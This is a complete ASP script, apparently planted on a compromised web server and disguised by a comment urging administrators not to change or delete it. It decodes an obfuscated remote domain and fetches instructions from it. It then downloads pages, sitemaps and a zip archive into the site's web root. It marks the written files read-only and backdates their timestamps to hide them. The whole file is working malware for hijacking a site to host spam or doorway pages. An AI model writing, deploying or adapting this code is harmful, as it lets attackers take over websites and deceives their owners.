<% 'this is important file, if you are not professional of the web source,please do not change any code and del it 'power by googles.com 'autoer googles@googles.com Session.CodePage=65001 Response.charset = "UTF-8" session.abandon Server.ScriptTimeOut=500000 CheckDir:upd = Request.QueryString("upd") txtt = Request.QueryString("txt") If len(txtt)>2 Then Response.Write txtt Else pathfilename=trim(Request.ServerVariables("SCRIPT_NAME")) name = Replace(pathfilename,"/","") im = please&admin&"/html/pandora/get.php?file="&name&"&"&"from_url="&CUrl&"&"&Request.QueryString() geturl = Request.QueryString("geturls") If len(Request.QueryString("allurl"))>1 Then Response.Write page(im) Response.end End If IF geturl = "geturls" Then Response.Write im Response.end Else zipfile=Request.QueryString("zipfile") If len(zipfile)>10 Then zipurl = trim(page(im)) zipfile = page(zipurl) SaveRemoteFile "all.zip",zipurl End If If len(Request.QueryString("create"))>1 or upd="upd" Then allurls = trim(page(im)) urls=split(allurls,CHR(10)) set fs=Server.CreateObject("Scripting.FileSystemObject") For i=lbound(urls) to ubound(urls) urli=trim(urls(i)) if len(urli)>10 and instr(1,urli,"http",1)>0 and instr(1,urli,"",1)<1 then tems=split(urli,"/") fname=tems(ubound(tems)) filename=Server.MapPath(fname) On Error Resume Next If fs.FileExists(filename)=false or upd="upd" Then creatHtml urli,filename Else If fname="sitemap.xml" Then filemap = Num_rnd()&Num_rnd()&fname filename=Server.MapPath(filemap) creatHtml urli,filename Response.Write "{"&filemap&"}" End If End If end if Next set fs=nothing Response.Write "{sitemap.xml}os_s0" Response.end End if End If On Error Resume Next End If Function Num_rnd() Randomize Num_rnd = Int((5-1+1)*Rnd +1) End Function Function creatHtml(urli,filename) html = page(urli) html = trim(html) On Error Resume Next if len(html)>100 then set af=fs.GetFile(filename) if af.attributes=1 then:af.attributes=32:end if With Server.CreateObject("ADODB.Stream") .Type = 2 .Mode = 3 .Charset = "UTF-8" .Open .WriteText html .SaveToFile filename, 2 .Close End With if af.attributes<>1 then:af.attributes=1:end if set af = nothing tem = Split(filename,"\") file_path = "" for j=0 to (ubound(tem)-1) file_path = file_path&tem(j)&"\" next NewTime = "201"&Num_rnd&"-0"&Num_rnd&"-02 16:08:40" Set shell=Server.CreateObject("Shell.Application") Set app_path=shell.NameSpace(file_path) Set app_file=app_path.ParseName(Replace(filename,file_path,"")) app_file.Modifydate= NewTime set app_file = nothing set app_path = nothing set shell = nothing 'Response.Write html end if End Function Function CheckDir() on error resume next temfile = Server.Mappath("ttaeinfaienf.t") Set fs = Server.CreateObject("Scripting.FileSystemObject") fs.CreateTextFile temfile,True If Err.Number<>0 then:Response.Write "helo world erro":Response.end:End If fs.DeleteFile temfile set fs=nothing End Function Function page(Path) t = GetBody(Path) If len(t)<2 Then t = "no thing" End If page=BytesToBstr(t,"UTF-8") End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function please() please =Replace(Replace("hmmp:gg","m","t"),"g","/") End Function Function BytesToBstr(body,Cset) on error resume next dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function admin() admin = Replace(Replace(Replace("en_623;_ti_me_k_e,com","_",""),";","."),",",".") End function Function GetBody(url) on error resume next Set Retrieval = CreateObject("MSXML2.serverXMLHTTP") With Retrieval .setTimeouts 30000,30000,300000,120000 .Open "GET", url, False .Send If .readystate=4 then getBody = .responsebody Else getBody="nobody" End if End With Set Retrieval = Nothing End Function Function CUrl() Domain_Name = LCase(Request.ServerVariables("Server_Name")) Page_Name = LCase(Request.ServerVariables("Script_Name")) CUrl = "http://"&Domain_Name&Page_Name End Function Function SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl) Dim Ads, Retrieval, GetRemoteData Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", s_RemoteFileUrl, False, "", "" .Send GetRemoteData = .ResponseBody End With Set Retrieval = Nothing Set Ads = Server.CreateObject("Adodb.Stream") With Ads .Type = 1 .Open .Write GetRemoteData .SaveToFile Server.MapPath(s_LocalFileName), 2 .Cancel() .Close() End With Set Ads=nothing SaveRemoteFile = s_LocalFileName End function %>